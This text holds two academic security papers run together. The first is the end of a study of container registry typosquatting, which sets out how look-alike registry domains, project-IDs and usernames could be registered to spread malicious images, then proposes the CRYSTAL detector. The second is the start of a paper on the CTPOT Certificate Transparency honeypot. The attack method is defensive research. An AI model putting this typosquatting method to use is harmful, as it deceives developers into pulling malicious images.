The key for launching such a cross-platform typosquatting

attack is to identify or establish a container registry with a host-

name similar to that of an existing registry, preferably with
DL-1 distance. This can be achieved by either self-hosting
container registries with typosquatting domain names or uti-
lizing existing registries.

6.1.1 Domain Typosquatting
Attackers can self-host container registries by registering

typosquatting domain names, where attackers have complete
control on the configuration of the entire registries. With
self-hosted registries, adversaries can host as many malicious
images as they need, and they can enable public access to all
of the hosted repositories.

To understand the feasibility, we investigate the availability
of the typosquatting domains on the market. For each con-
tainer registry in Tables 2 and 3, we generate a complete list
of all hostnames with DL-1 distance under the five categories.
In total, we generate 2,692 DL-1 typosquatting domain names
for the six container registries. We then utilize the bulk do-
main search function provided by Namecheap.com [36] to
check the availability of all generated hostnames and their reg-
istration prices. Note that in this experiment, we exclude the
typosquatting domains for Docker Hub since the docker.io
hostname can be omitted in the Docker pull command. We
also exclude the scenario of when typosquatting occurs in
the top-level domains (TLDs) and only focus on the domain
name part of the registry hostnames.

Table 4 presents the number of generated typosquatting
domain names for each repository and the current availability
of these typosquatting domains on the market. Among all
generated typosquatting domain names, 2,258 (83.9%) of
them are available for purchase. This result indicates that
such an attack is feasible as attackers have a large range of
typosquatting domain names available to register.

Table 4 also includes the purchasing price distribution for
our generated typosquatting domain names. For most do-
mains, the registration fee is under $30, with 72.5% (1,637 out
of 2,258) of them less than $10. In general, the domain names
under “.com" TLD is cheaper than the domains with “.io"
in term of regular registration price (<$10 vs. <$30). Only
26 domains have a purchasing price over $30. Overall, the
financial cost for such attacks is reasonable, as attackers no
longer need to pay a monthly storage fee for hosting images.

6.1.2 Existing Registry
Attackers can also utilize two existing registries to

launch cross-platform typosquatting attacks. For example,
as listed in Table 3, Google Container Registry and IBM
Container Registry share similar hostnames: Google uses
[region].gcr.io as its registry hostname, and IBM em-
ploys [region].icr.io. In addition, both registries operate
hosting servers in the mainland U.S. with the region code “us".
Specifically, the hostname for Google server in the U.S. is
us.gcr.io, while the southern U.S. region of the IBM server
holds a hostname us.icr.io. Obviously, the us.gcr.io
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and us.icr.io satisfy the requirement of cross-platform ty-
posquatting attacks with a DL-1 character-substitution.

We further investigate the potential for attackers to launch
typosquatting attacks across Google Container Registry and
IBM Container Registry. To establish DL-1 typosquatting
FQIDs, attackers need to register the same project-ID as their
targeting repositories. For example, if the cross-platform ty-
posquatting target has the FQID us.icr.io/alice/linux
at IBM, attackers need to register the project-ID alice in
Google and upload a malicious image named linux. In this
case, the malicious image holds a typosquatting FQID of
us.gcr.io/alice/linux, which becomes a DL-1 counter-
part for the targeting image us.icr.io/alice/linux.

We analyze the same occupied project-ID lists in Section 5,
which contains 407 project-IDs in Google and 584 in IBM.
From the list, we identify a total of 82 project-IDs existing
in both registries, which account for 20% in Google and 14%
in IBM. We also confirm that the rest of the project-IDs (325
in Google and 502 in IBM) uniquely exist in their own reg-
istry, and the same project-IDs can be registered in the other
system for typosquatting attack purposes. Since the number
of overlapping project-IDs is relatively small, it is very likely
for attackers to successfully establish malicious images with
DL-1 FQIDs and launch cross-platform typosquatting attacks.

6.2 Missing Hostname
A special case for container image FQIDs is that the host-

name can be omitted if the container image is hosted in
Docker Hub. This introduces yet another potential threat: if
users forget to include a hostname in the Docker pull com-
mand, they might obtain an unwanted image from Docker
Hub, instead of from their desired registries.

To shed light on the missing-hostname typosquatting attack,
we utilize the same username lists we gathered in Section 4
for both Docker Hub and Quay.io. By comparing both lists
together, we identify 960 usernames that exist in both Docker
Hub and Quay.io. Our analysis also shows that Quay.io con-
tains 5,515 unique usernames that are not available on Docker
Hub, and Docker Hub contains 245,120 unique usernames
that are not available on Quay.io. A further analysis shows
that 117 (12.2%) of these shared usernames have uploaded
container images with the exact same image names on both
registries, which account for a total of 282 repositories. This
may indicate that some container developers have already
been aware of the fact that users might potentially mistype
the hostname and have taken proactive actions by uploading
the same images on both registries.

To further illustrate the effectiveness of the missing-
hostname attack, we also perform a 30-day experiment with
the IRB approval of our institution. We randomly select 10
unique usernames on Quay.io with high activity ratings, and
then manually register these usernames on Docker Hub. We
also upload our container images with the same name as the
original image name in Quay.io. We use the same bare-bone

Domain Available (Total) Price
<$10 <$30 >$30

aliyuncs.com 582 (619) 578 0 3
amazonaws.com 552 (692) 550 0 2
azurecr.com 511 (546) 509 0 2
quay.io 292 (327) 0 291 1
gcr.io 162 (254) 0 154 8
icr.io 159 (254) 0 149 10
Total 2,258 (2,692) 1,637 594 26

Table 4: Domain typosquatting for container registries with
registration price distributions.

Ubuntu image as mentioned in Section 4. We record the cu-
mulative pull count for these images for 30 days.

During our 30-day experiments, we record a total of 93 pull
counts, with the highest pull counts for a single image being
24. The pull count result suggests that the missing-hostname
might be exploited by container registry typosquatting attacks.

7 Mitigation

In this paper, we propose CRYSTAL (Container RegistrY
SquaTting ALarm), a lightweight extension on the existing
infrastructure of container registry, to mitigate the threat from
both container registry and user sides. Working from the reg-
istry side, CRYSTAL can be seamlessly integrated into ex-
isting container registry platforms to detect typosquatting be-
haviors and prevent users from registering extremely similar
usernames. Working from the user side, CRYSTAL extends
the image pull method to provide typing suggestions and
corrections to container users before the download process.
Overall, CRYSTAL can effectively mitigate the container
registry typosquatting problem with minimal overhead and
without changing the current container architecture.

7.1 Design

The primary goal of CRYSTAL is to identify possible al-
ternative FQIDs that could potentially lead to typosquatting
behaviors on both registry and user sides. Figure 10 illustrates
the overall architecture of the CRYSTAL tool. In general,
CRYSTAL contains three major modules: FQID Analyzer,
Alternative Finder, and Result Presenter. The FQID Analyzer
module is used on the user side to analyze the key informa-
tion, including hostnames, usernames, and image names from
the user inputs. The extracted information is then input into
Alternative Finder for the detection of images with poten-
tial typosquatting FQIDs, and then Result Presenter presents
potential alternatives. When CRYSTAL is deployed on reg-
istries, Alternative Finder is fed with the account registration
information, and the identified usernames from Result Presen-
ter further help the registry to decide whether the registration
request should be permitted or denied.
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Figure 10: Design overview of CRYSTAL.

7.1.1 FQID Analyzer

FQID Analyzer first extracts key information from a
Docker pull command, including the hostname, username,
and image name for the target image. Since different con-
tainer registries adopt different FQID formats (especially for
the hostname), FQID Analyzer also identifies the FQID in-
formation based on the format of each registry. For example,
registries like Google and IBM include the region code in-
side the hostnames, while other registries like Azure do not.
Also, the hostname docker.io can be omitted if the corre-
sponding image repository is hosted in Docker Hub. Thus,
FQID Analyzer maintains a list of FQID templates for each
supported container registry. Every time the user executes a
Docker pull command, the FQID Analyzer module performs
a table lookup to match the provided FQID with one of the
recorded templates. Also, the analyzer adds the docker.io
hostname back to the FQID if the hostname is missing.

7.1.2 Alternative Finder

Once all three fields of the target FQID are obtained (either
from FQID Analyzer on the user side or the username regis-
tration request on the registry side), Alternative Finder further
searches for other container images with similar FQIDs. Since
users are more likely to make DL-1 typing mistakes, Alter-
native Finder is currently configured to focus on alternative
usernames with a one-character difference.

Download History and Favorite List. On the user side,
Alternative Finder maintains a record of the user’s download
history and a list of favorite container images. The download
history contains the FQIDs of all previously obtained con-
tainer images. Every time the user executes a Docker pull
command, Alternative Finder compares the FQID provided
by the user to the history record and identifies any container

images with DL-1 FQIDs. The favorite list is further designed
so that users can manually configure their favorite images by
themselves. It also enables CRYSTAL to maintain multiple
cache files to accelerate the search process.

Hostnames. The hostname of an FQID usually consists of
two types of information: region code and domain name. Al-
ternative Finder searches both fields independently to identify
potential typosquatting targets. For example, it first identi-
fies any potential usernames residing in a different region
code, such as us.icr.io versus uk.icr.io. Then, Alterna-
tive Finder locks the region code and seeks other container
registries with a DL-1 domain name to reveal alternative do-
main names with the same region code.

Usernames. To identify alternatives for the provided user-
name, Alternative Finder performs a lightweight image search
within the desired container registry. If CRYSTAL is deployed
on the desired container registry, the image search can be per-
formed directly on the repository database within the registry.
Otherwise, for registries whose search functionality is pub-
licly accessible, Alternative Finder utilizes the image name
as a query term and executes a search command to find other
existing images with DL-1 usernames. If the search function-
ality is prohibited or disabled, Alternative Finder relies on
cache files, which can be periodically updated offline. For
instance, CRYSTAL can utilize the trial-and-error method
mentioned in Section 5 to update the favorite list.

Cache files. To enable fast lookups and reduce network traf-
fic, CRYSTAL maintains four cache files, including lists of
download history, favorite images, supported hostnames, and
popular images. Alternative Finder first searches typosquat-
ting images in both download history and favorite images with
DL-1 FQIDs. To search for alternative DL-1 hostnames, we
maintain another cache file containing all the domain names
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Figure 11: Accuracy for different search
results and sizes of popular image files.
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Figure 13: Comparison of displayed re-
sult statuses in four case scenarios.

and their associated region codes of the container registries
(as shown in Tables 2 and 3). The Alternative Finder module
performs a table lookup to distinguish any similar domain
names or region codes. The last cache file consists of a list
of popular images with a large number of pull counts from
the container registries that we support. The maximum FQID
entries included in each cache file is configurable and limited
by default to prevent over-growth. Users can also control the
number of results returned from Alternative Finder’s search
command to balance the overall performance and accuracy.

7.1.3 Result Presenter

After the lookup procedure, the Result Presenter module
presents the search result to the user by providing both the
user-provided image and potential alternatives. First, Result
Presenter lists the hostname, username, and image name from
the image FQID that users provide in the Docker pull com-
mand. Particularly, docker.io is added by FQID Analyzer
to enable users to self-correct any typing mistakes if the result
of FQID Analyzer does not match their intentions.

Next, Result Presenter shows the alternative images iden-
tified by Alternative Finder. In general, it favors container
images recognized from the download history and the favorite
list. All DL-1 alternative images identified from these cache
files are always presented at the top of the result list. Addi-
tional queries are also performed to filter other images based
on their popularity. We currently utilize the total download
counts and star counts as the popularity. The results are listed
in descending order of image popularity (i.e., images with
larger download counts or star counts are displayed first). If
multiple results exist with the same popularity, Result Presen-
ter shows the results by the order of different hostname, region
code, username, and image name. Meanwhile, any other met-
rics can be easily integrated into CRYSTAL to enhance its
effectiveness. If no alternative images are identified, Result
Presenter automatically allows users to download the image
without presenting any warnings.

The format is slightly different when CRYSTAL is de-
ployed on the registry side. Result Presenter shows similar
usernames obtained from FQID Analyzer, allowing the reg-
istry to adopt further policies, such as permitting/denying the
corresponding username registration.

7.2 Evaluation
We implement a preliminary prototype of CRYSTAL tool

on the user side by expanding the functionality of the Docker
Command-Line Interface. We modulize our implementation
so that CRYSTAL can also be easily integrated into the reg-
istry server side. In our experiments, we focus on typosquat-
ting images hosted in Docker Hub for demonstration purposes,
while our tool can be easily applied across different registries.
Also we limit our computing resources to simulate an average
computing environment for most general container users. Our
testing system is a virtual machine running a Ubuntu 18.04
system containing 4 CPU cores and 8G of memory. We eval-
uate the performance of CRYSTAL on the following three
aspects: accuracy, overhead, and usability.

To investigate the performance of CRYSTAL, we randomly
select 10,000 container repositories in Docker Hub, and we
generate one typosquatting FQIDs for all of these reposito-
ries. We execute the CRYSTAL tool to process all generated
typosquatting FQIDs and record the average execution time.
We adjust different number of entries in the popular image
cache file, and set different limitation numbers for search re-
sults. The cache file selects and stores popular images based
on their pull counts. We also calculate the overall accuracy
under different configurations.

Accuracy. Figure 11 presents the result of the accuracy for
finding correct image repositories. If the cache file contains
400,000 entries, CRYSTAL can maintain a high accuracy of
more than 97.5% in all cases. The size of the cache file is
about 10 megabytes, which is acceptable. In other cases, the
accuracy gradually increases with a higher number of entries
in the popular image file and more limitations on search re-
sults. But even with the minimum search result limitation
(e.g., 25 in our experiment) and zero entries in the popular
image file, our tool can still correctly detect 60% of typing
errors in the download command. With the cache file con-
taining 200k entries, the accuracy is about 74.5% for the 25
searching result limitation. To obtain an accuracy of 71%, it
takes an average of 100 search results with 100k entries, and
200 search results with 50k entries in the cache file.

Overhead. We first measure the download time for users
to pull a container image from Docker Hub. We randomly pull
1,000 container images on Docker Hub and record an average
download time about 51.2 seconds with 100 Mbps network
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bandwidth. Figure 12 shows the average execution time of
CRYSTAL. If the popular image cache file contains 400k
entries which accounts for 96% of the entire list of recognized
repositories, the average execution time is relatively stable
at 2 seconds, which only accounts for less than 4% of the
overall image download time. This is reasonable as almost all
names are already cached. In other cases, the execution time
dramatically increases with a high limitation of search results.
Particularly, when the limitation of searching results reaches
1,000, the execution time is larger than the case caching 400k
entries, which has a much higher accuracy.

Otherwise, to reach at least 70% accuracy, the execution
times for 200k entries with 25 search result limit, 100k en-
tries with 100 search result limit, 50k entries with 200 search
result limit are 0.989s, 0.793s, and 0.857s, respectively. Com-
bined with the accuracy results, users can configure CRYS-
TAL based on their preferences.

Usability. CRYSTAL does not change the existing work-
flow of the Docker CLI, except that users might be required
to confirm the correctness of their typed FQIDs and make
any adjustments if necessary. We further measure the number
of lines needed in the Result Presenter to present the target
image for users. If it requires a large number of lines, it will
degrade the usability. We configure CRYSTAL to present
at most 100 lines. We consider the configurations that have
an execution time of less than 2 seconds and an accuracy of
more than 70%. We illustrate the required number of lines in
Figure 13. The results show that, with the exception of failed
cases, almost all of the remaining cases need only one line to
present the target FQID correctly to users. Thus, we believe
CRYSTAL has little impact on usability.

7.3 Limitation and Future Work
Users who receive many warnings when downloading con-

tainer images could experience warning fatigue. To mitigate
this issue, we implement a preliminary approach: CRYSTAL
allows the download process without showing any warning
messages for an image having comparably high popularity.
We will fully address the fatigue issue in our future work.

Our CRYSTAL prototype is implemented on the user side
as an extension of the Docker CLI and focuses on Docker.
Docker also supports using a FROM statement in Dockerfile
to automatically pull an image when building a new container
image. We also observe an increasing popularity of some
Docker alternatives, such as Singularity [37] and Podman [38].
The overall performance would be similar or even better if
CRYSTAL was deployed on the registry side. If CRYSTAL is
running on a container registry consisting of datacenter-grade
servers, the total execution time should be further reduced.
In addition, the image search function can be integrated with
the registry’s database, further reducing network traffic and
latency. Accuracy and user experience can also be enhanced
if the registry searches the entire repository database for user-
name registration requests and caches more elements from

other registries. In the future work, we will extend CRYSTAL
to the registry side and support more methods for mitigating
potential container registry typosquatting threats.

8 Related Work
8.1 Container Performance and Security

Extensive research efforts have been conducted on both
performance [10, 39–41] and security [42–45] of containers.
Gupta [46] presented a brief overview of container security.
Grattafiori [47] further explored potential vulnerabilities in
containers, including container escaping, cross-container at-
tacks, and inner-container attacks. Lin et al. [28] demonstrated
that exploiting container vulnerabilities can cause problems
such as sensitive information leakage, remote control, denial
of service attacks, and privilege escalation. While covert chan-
nels are possible in containers [48], Gao et al. [9, 49] further
revealed the existence of information leakage channels from
which containers can obtain information about their hosting
servers. Gao et al. [27] also suggested that malicious con-
tainers can exhaust the computing resources of their host by
escaping the resource control of Linux control groups.

Containers are also widely adopted in serverless comput-
ing [50, 51]. While most existing works attempt to enhance
performance [52, 53] such as reducing startup time [54–56],
few works focus on the security aspect of serverless comput-
ing, including potential vulnerabilities [57] and defenses [58].
Our work differs from all previous works in that our study
focuses on revealing new vulnerabilities that attackers exploit
to distribute malicious container images. Moreover, the un-
covered container registry typosquatting attack complements
previous studies on feasible and practical container attacks.

8.2 Container Registry Security
While many studies focus on improving the performance

of container registries [59, 60], security issues in container
registries have also received much attention. Gummaraju et
al. [29] showed that around 40% of the container images
uploaded by general users in Docker Hub are vulnerable to
various cyber-attacks. Shu et al. [30] proposed a Docker Im-
age Vulnerability Analysis (DIVA) tool and scanned a large
amount of images in Docker Hub. Their study reveals that an
average of 180 vulnerabilities exist in both official and com-
munity repositories. Furthermore, Zerouali et al. [61] demon-
strated that outdated container images pose serious security
threats due to those vulnerable, buggy packages. To the best
of our knowledge, we are the first to study the typosquatting
problem and its security threats to container registries.

8.3 Typosquatting
Our work shares the fundamental concepts of domain ty-

posquatting. Early research can be traced back to 1999 when
the Anticybersquatting Consumer Protection Act (ACPA) [62]
was published. Since then, much research effort has been
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devoted to studying domain name typosquatting, including
the semantic features that can cause more typing errors [63]
and the potential consequences caused by a typosquatting
attack [64]. Szurdi et al. [19] demonstrated that the vast ma-
jority of typosquatting attackers are targeting lower ranking
domains. Agten et al. [65] suggested that the majority of do-
main names are not properly protected against typosquatting
attacks. In addition to the traditional domain names, Liu et
al. [18] uncovered that typosquatting attacks also exist in
International Domain Names (IDN). Le Pochat et al. [66]
explored the possibility of typosquatting on non-English key-
board layouts. Tian et al. [67] revealed the wide existence of
typosquatting domains and uncovered their high effectiveness
on avoiding detection. Based on traditional domain typosquat-
ting, many studies also revealed other squatting techniques
targeting domain names, including combosquatting [68], bit-
squatting [69, 70], and abbreviation squatting [71].

Moreover, typosquatting has been applied to scenarios be-
yond domain names, such as email [20] and mobile apps [21].
Studies also revealed potential squatting vulnerabilities in
voice recognition systems [72–74]. Inspired by previous
works, we reveal the container registry typosquatting threat.

9 Conclusion
In this paper, we conducted a systematic study on the con-

tainer registry typosquatting threat. We demonstrated that
adversaries can impersonate FQIDs of benign repositories
to spread malicious container images. This attack can be
launched within both public and private registries as well as
across different platforms, posing realistic security threats to
the container ecosystem. Our exploitation experiments for
public and private registries show that users indeed make
typing errors and download unwanted container images. We
also validated that a large amount of typosquatting usernames,
project-IDs, and domain names are currently available for pub-
lic registration. To mitigate the threat, we proposed CRYSTAL
that assists container registries to discover potential typosquat-
ting FQIDs and alerts users about potential typing errors when
downloading container images. We implemented a prototype
of CRYSTAL on Docker CLI and achieved a high detection
accuracy of more than 97.5% with low overhead.
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Abstract
Since its creation, Certificate Transparency (CT) has served

as a vital component of the secure web. However, with the
increase in TLS adoption, CT has essentially become a defacto
log for all newly-created websites, announcing to the public
the existence of web endpoints, including those that could
have otherwise remained hidden. As a result, web bots can use
CT to probe websites in real time, as they are created. Little is
known about these bots, their behaviors, and their intentions.

In this paper we present CTPOT, a distributed honeypot
system which creates new TLS certificates for the purpose
of advertising previously non-existent domains, and records
the activity generated towards them from a number of network
vantage points. Using CTPOT, we create 4,657 TLS certificates
over a period of ten weeks, attracting 1.5 million web requests
from 31,898 unique IP addresses. We find that CT bots occupy a
distinct subset of the overall web bot population, with less than
2% overlap between IP addresses of CT bots and traditional
host-scanning web bots. By creating certificates with varying
content types, we are able to further sub-divide the CT bot
population into subsets of varying intentions, revealing a stark
contrast in malicious behavior among these groups. Finally, we
correlate observed bot IP addresses into campaigns using the
file paths requested by each bot, and find 105 malicious cam-
paigns targeting the domains we advertise. Our findings shed
light onto the CT bot ecosystem, revealing that it is not only
distinct to that of traditional IP-based bots, but is composed of
numerous entities with varying targets and behaviors.

1 Introduction

Security of the modern web is reliant on the HTTPS protocol
and, thus, the certificate authorities (CAs) that lay the
groundwork of trust through the issuance of TLS certificates.
This trust was shaken in 2011 however, when the popular CA
DigiNotar misissued TLS certificates for Google domains,
allowing for the exploitation of numerous Iranian users with
man-in-the-middle attacks [14]. This was just one of many
similar incidents affecting CAs in the early 2010s [1, 12, 36].

In response to these events, the Certificate Transparency [9]
(CT) system was introduced to provide clarity and insight into
the actions of CAs. CT works by logging the registration of
all TLS certificates to public append-only logs. This allows
domain owners to search for illegitimate registrations of
certificates for their domains, and the public to audit the actions
of CAs. In 2015, Google Chrome began requiring all new Ex-
tended Validation certificates to be publicly-logged in the CT
system, with this extending to all new certificates in 2018 [11].
Today, this participation is also required by popular browsers
such as Apple’s Safari [4] and Opera Browser [34]. However,
while Mozilla has pledged support for CT development and
use [29], it is currently not enforced by Firefox browser [16].

Because of the growing use of TLS on the web [21], and
the pressure applied by browser vendors for all sites to serve
content over HTTPS, CT has essentially become a log for all
newly created websites. This includes not only new benign
websites (or existing websites who are renewing their expiring
certificates) but also malicious websites which also need to use
TLS (and therefore CT) to properly render without warnings
in a user’s browser.

Prior work has capitalized on this constant stream of
websites to, among others, identify phishing websites the
moment they go online [46, 48, 54, 67], as well as provide
links for further indexing of the web [19, 38]. As these studies
demonstrate, the massive volume of certificate registrations
makes it impractical for analysts to manually visit each newly
created website. Thus, this job is often delegated to automated
web bots that tail CT logs, either visiting every domain or
seeking out specific domains of interest. As of yet, however,
this web bot ecosystem has not been fully studied to determine
the sources and behaviors of these bots, including its use by
attackers to discover new targets as they are created.

In this work, we create a honeypot infrastructure we call
CTPOT, that allows us to continually create TLS certificates
for pseudo-randomly generated subdomains and measure
the network traffic generated by their inclusion on CT logs,
from a number of network vantage points. Our certificate
creation strategy centers around three distinct domain-content
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categories, allowing us to observe the varying behaviors of
bots with different goals.

Using CTPOT, we create 4,657 TLS certificates across 12
measurement nodes for pseudo-random subdomains corre-
sponding to: popular trademarks, common web endpoints of
web application software, and dictionary words which act as
a baseline through which we compare and interpret the results
of our measurement groups. Over the course of ten weeks,
CTPOT received a total of 1.5 million web requests from
31,898 unique IP addresses, as well as 22,839 requests to SSH,
FTP, and Telnet honeypots. As each domain generated by
CTPOT was previously unused and completely unguessable,
our curated dataset consists entirely of bot traffic.

By analyzing our curated dataset, we observe distinct be-
haviors from the bots targeting different types of subdomains,
allowing us to learn about the intentions of these various bot
populations. For instance, we observe bots targeting subdo-
mains of common web application software send more than
one request over 40% more often than bots targeting domains
impersonating popular trademarks. Moreover, these bots ex-
hibit more malicious behavior with over twice as many unique
IP addresses attempting to authenticate with exposed network
services such as SSH. Additionally, we correlate requests from
seemingly isolated IP addresses into campaigns of related
bots. Alarmingly, through this analysis we find 105 malicious
campaigns attempting to perform malicious actions such as
data exfiltration, fingerprinting, and vulnerability exploitation.

Our main contributions are as follows:

• We design and implement CTPOT, a honeypot-based
system to create TLS certificates for pseudo-random
subdomains, and analyze requests directed towards them.
Using this system, we create 4,657 TLS certificates.

• We curate the first public dataset of CT bots. Analysis of
this dataset yields valuable insight into their populations
and behaviors, including the varying behaviors of bots
with distinct objectives and targets.

• We correlate the behaviors of seemingly isolated bots
into campaigns, finding 105 clusters of requests that are
malicious in nature.

2 Background

In this section, we provide the required background infor-
mation on CT and automated browsing to assist reader
understanding for the remainder of the paper.
Certificate Transparency
The purpose of CT is to prevent the exploitation of users
by ensuring certificates are not issued to malicious actors.
This is achieved by logging all certificate registrations on
publicly-available, append-only logs; allowing domain owners
to monitor for invalid certificate registrations for their domain,
and the community to audit the actions of CAs.

Though commonly managed by large organizations, anyone
can create a CT log and advertise its contents to browsers.
Likewise, anyone can submit a certificate to a CT log, though
this is typically done by CAs during the process of certificate
creation. When a certificate is submitted to a log, the log
responds with a Signed Certificate Timestamp (SCT), which
is a promise that the certificate will be added to the log either
immediately or in the near future. The CA then attaches the
SCT to the newly-issued certificate, which is proof the certifi-
cate was publicly logged in the CT system. Popular browsers
such as Google Chrome and Safari enforce CT compliance
by displaying errors when users visit HTTPS websites that
present certificates lacking valid SCTs. This helps coerce CA
participation, leading to over 90% of CAs logging to CT [10].

By simply hooking into readily available APIs [7, 15, 18],
anyone can audit CT logs for signs of inappropriately created
certificates (indicating a server compromise or a compro-
mised/misbehaving CA). However, because of growing CT
compliance by CAs, along with the proliferation of HTTPS
usage across the web, these APIs indirectly provide visibility
into a large percentage of all newly-created websites as they
come online. Moreover, as the primary focus of CT is the
public advertisement of new domains, observers of these logs
can receive powerful information, including the existence
of otherwise hidden web endpoints. This includes Fully
Qualified Domain Names (FQDNs) that would not have been
discovered via crawling or guessing (e.g. test-deployment-
888.example.com) as well as top-level domain names (TLDs)
from registries that do not share their Zone Records with the
public (such as in Country-Code TLDs). Prior work by Scheitle
et. al. demonstrated that web bots monitor CT logs, and initiate
requests towards the FQDNs included on them [68].
Bots and Automated Browsing
The immense scale of the Internet makes it impractical for
one looking to understand its trends and intricacies to do so
by manual means. Rather, this job is delegated to automated
browsing tools, commonly known as “spiders”, ”crawlers”, or
“bots”. Web bots are often used for benign tasks such as search
engine indexing [19, 38], and phishing detection [33, 75].
However, web bots are also responsible for many of the attacks
on systems across the Internet [58].

Identification of bots has become a priority for website
administrators, leading to to development and use of anti-bot
services [40]. Prior work has shown effective bot detection
techniques including fingerprinting of each client’s characteris-
tics and behavior [51,61,71]. The sophistication of web bots is
often dependent upon the expected usage of these anti-bot fin-
gerprinting techniques. Simple request tools such as wget [37]
allow for quick scanning of a large number of websites using
raw HTTP requests, but lack the traits of a real browser, increas-
ing the probability of fingerprinting and subsequent blocking.
Conversely, utilization of fully-instrumented browsers using
libraries such as Selenium [35] allow web bots to more-closely
resemble real users, at the expense of scanning efficiency.
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Figure 1: Architecture of CTPOT, our CT honeypot system composed of a series of measurement nodes that periodically generate certificates
for pseudo-random domains and record the traffic generated towards various network services.

3 Methodology & Experimental Setup

In this section, we first describe the design of CTPOT, our
system used to create TLS certificates and collect data on bots
monitoring CT logs. Additionally, we describe the details of
deploying CTPOT in the wild.

3.1 CTPOT System Design
To study the characteristics and behaviors of bots consuming
CT logs, we design a distributed honeypot system that
records data from a number of network vantage points. This
system, which we call CTPOT, is illustrated in Figure 1.
It consists of two main modules: a series of decentralized
measurement nodes, and a central data-aggregation node.
This “hub-and-spoke” architecture emphasizes scalability as
measurement nodes can be added or removed from the system
without interrupting the others. Meanwhile, recorded data is
periodically pulled by the data-aggregation node for analysis.

3.1.1 Measurement Nodes

Each CTPOT measurement node hosts an Apache Traffic-
Server [2] reverse proxy server, listening for both HTTP and
HTTPS requests. All valid HTTP(S) requests are forwarded to
the web server located on the data-aggregation node, without
any caching enabled. As mentioned earlier, this reverse-proxy
design allows us to freely add and remove nodes to the
infrastructure without the need to update any centralized
state. Additionally, spreading our experimental footprint
across multiple IP addresses decreases the chances of bots
blocklisting our nodes.

Since it is straightforward for bots to misidentify themselves
in their User-Agent headers (e.g. a wget client presenting the
User-Agent of a popular web browser), we attempt to identify
each visitor connecting over HTTPS with a TLS fingerprint.
To do this, we enable the JA3 TLS fingerprinting plugin for
Apache TrafficServer [3]. JA3 fingerprints are created by
concatenating the following fields from each TLS Client Hello

message: protocol version, accepted ciphers, supported exten-
sions, elliptic curves, and elliptic curve formats. The MD5 hash
of the resulting string is the unique identifier for that client [32].
Prior work has demonstrated that the list of supported cipher
suites in a TLS Client Hello message is enough to reliably
identify the underlying client platform in HTTPS traffic [50].
To communicate the JA3 fingerprint and other information
about the requesting client (e.g., client IP address and request
scheme), Apache TrafficServer appends a series of HTTP
headers to the original request with the additional information
before it is forwarded to the data-aggregation node.

In addition to probing the web servers of publicly-accessible
machines, malicious bots may also scan additional ports in
order to discover vulnerable services which can be abused. To
determine the extent to which CT bots interact with these net-
work services, we include an SSH and Telnet honeypot [13], as
well as an FTP honeypot [20] on each measurement node. We
use each of these three honeypots in a “low-interaction” fash-
ion, meaning visitors are presented with a login prompt, but
can never actually authenticate. Rather, they are presented with
a message indicating their authentication attempt failed. For
the purpose of this study, any visitor attempting to authenticate
with these honeypots can be considered malicious, regardless
of the actions they would take upon successful authentication.

Certificate Registration

Unlike bots that utilize IP-based scans to discover publicly-
accessible services across large Internet subnets, CT bots
have the ability to filter targets based on the content of
their domain names. For instance, a malicious bot that is
targeting outdated WordPress websites could opt to only
make requests towards domains that contain strings related
to blogs and WordPress (e.g., wordpress.example.com
and blog.example.com). Therefore, we carefully design a
certificate registration strategy that allows us to separate the
overall CT bot population into groups of varying intentions.
Specifically, we seek to observe distinct populations of
malicious and benign bots that feed off of CT logs.
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To do so, we define three TLD+2 subdomain content groups,
allowing us to not only separate the CT bots with these inten-
tions, but also separate their behaviors from the bots which
scan all domains that appear on CT logs. To attract bots oper-
ated by security companies and phishing researchers, we create
subdomains that contain the names of companies known to
be common targets of phishing attacks (e.g., Apple, Paypal,
Facebook, etc.,) [5], along with a qualifier string (e.g., reviews,
tutorials, lessons, etc.,). For example, we reason that the FQDN
paypal-reviews.example.net is likely to trigger the auto-
mated crawling logic of a CT bot searching for domains with
common phishing targets and then be dismissed during man-
ual review when the operator reads it in the context of the
rest of the string (i.e. paypal-reviews). We use these qual-
ifying phrases, along with a message indicating the purpose
of our study within all HTTP(S) responses (described in Sec-
tion 3.1.2), in an attempt to prevent automatic blocking by anti-
phishing entities, so that CTPOT can keep attracting both be-
nign and malicious CT bots for the entirety of our experiment.

To attract malicious bots, we create subdomains that are
targeted by popular vulnerability-scanning software [31] (e.g.,
wp-admin, sql, db, etc.,). Our rationale is that a certain class of
resource-constrained attackers may only focus their attention
on hosts that are likely to be running certain web applications,
as opposed to wasting their resources on any and all online
hosts.

Lastly, to compare the bot populations of the previous two
groups against bots that indiscriminately scan domains on
CT, we create subdomains containing the names of various
fruits, vegetables, and colors. We refer to these three groups as:
Impersonating, Sensitive, and Baseline, respectively. A
full list of all strings used to construct the subdomains of these
groups is located in Table 5 of the Appendix.

For the purposes of this study, we must ensure all visitors
to the domains we advertise on CT discovered them through
consumption of CT logs. Therefore, in addition to the TLD+2
subdomains which categorize our advertised domains, we add
a pseudo-random TLD+3 subdomain which is highly unlikely
to be guessed. Specifically, this subdomain encodes the
timestamp the certificate was registered along with five random
characters. By including this information, we can attribute all
requests to these domains to CT bots, with high-confidence.

All certificates are created on each measurement node by
randomly choosing one of the three described groups, and then
a string from the chosen group. In the case of Impersonating
domains, a randomly chosen trademark is appended to a
randomly chosen qualifier string (i.e., facebook-reviews).
Each generated subdomain is appended to the primary domain
assigned to that particular measurement node. Table 1 shows
an example of each domain category, along with the encoded
certificate creation timestamp.

These certificates are created using the Let’s Encrypt
Certbot API [8]. The rate limits enforced by Let’s Encrypt
restrict a single IP address to 50 new certificates each

Table 1: Example domains of each measurement category, and their
corresponding encoded certificate creation timestamps. For brevity,
the primary domain is excluded from each example.

Example Subdomain Type Encoded Timestamp
jjr20201wvo180002.zoom-help Impersonating 2022-02-01T18:00:02
bwr11215lkj013247.wp-admin Sensitive 2021-12-15T01:32:47
yug11031wvo061216.blue Baseline 2021-10-31T06:12:16

week [25]. Therefore, each CTPOT measurement node creates
one certificate every four hours, for a total of six per day or
42 per week. This provides ample daily coverage, while also
allowing for some margin of error to ensure API limits are not
exceeded. Our certificate creation strategy does not place any
undue burden on Let’s Encrypt servers, accounting for only
0.004% of all certificate requests each day [26].

3.1.2 Data Aggregation Node

To allow for flexibility in the number of measurement nodes
used at any given time, CTPOT uses a single data-aggregation
node to gather all data collected from each measurement
node in one location for analysis and processing. The
data-aggregation node hosts an Nginx [30] web server in
which measurement nodes forward all requests to. These
requests are stored in a database for future processing, and
are responded to with a simple HTML webpage explaining
the purpose of this experiment along with additional contact
details. We chose to disclose the presence of our study to all
visitors as an additional attempt to avoid getting flagged as
